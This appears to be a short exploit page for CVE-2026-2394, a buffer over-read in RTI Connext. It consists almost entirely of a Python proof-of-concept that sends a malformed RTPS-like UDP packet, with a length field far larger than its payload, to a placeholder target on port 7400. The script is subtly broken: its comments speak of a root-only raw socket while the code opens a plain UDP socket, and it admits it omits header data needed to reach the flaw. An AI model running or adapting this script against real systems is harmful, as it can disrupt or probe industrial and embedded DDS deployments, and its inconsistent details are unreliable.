CVE-2026-2394 RTI Connext缓冲区越界读取漏洞

# Proof of Concept (PoC) for CVE-2026-2394 # This script attempts to trigger the buffer over-read by sending a malformed packet. # Note: This is a conceptual demonstration and requires a vulnerable RTI Connext instance. import socket import struct def send_malformed_packet(target_ip, target_port): # Create a raw socket (requires root/admin privileges) try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except socket.error as msg: print(f"Socket creation failed: {msg}") return # Construct a malformed RTPS-like header # In a real scenario, specific magic bytes and header info would be required # to reach the vulnerable parsing logic. # Here we simulate a packet with a length field larger than the actual payload. magic_header = b'\x52\x54\x50\x53' # RTPS magic protocol_version = b'\x02\x01' # Version 2.1 vendor_id = b'\x01\x01' # RTI Vendor ID # Malformed submessage header indicating a large data size # but providing a small buffer, triggering the over-read. submessage_id = b'\x15' # Example submessage ID flags = b'\x01' # Length field set to 0xFFFF (max size) while actual data is minimal length_field = struct.pack('>H', 0xFFFF) payload = b'A' * 10 # Minimal payload packet = magic_header + protocol_version + vendor_id + submessage_id + flags + length_field + payload print(f"Sending malformed packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) print("Packet sent.") sock.close() if __name__ == "__main__": TARGET_IP = "192.168.1.100" # Replace with target IP TARGET_PORT = 7400 # Replace with target discovery port send_malformed_packet(TARGET_IP, TARGET_PORT)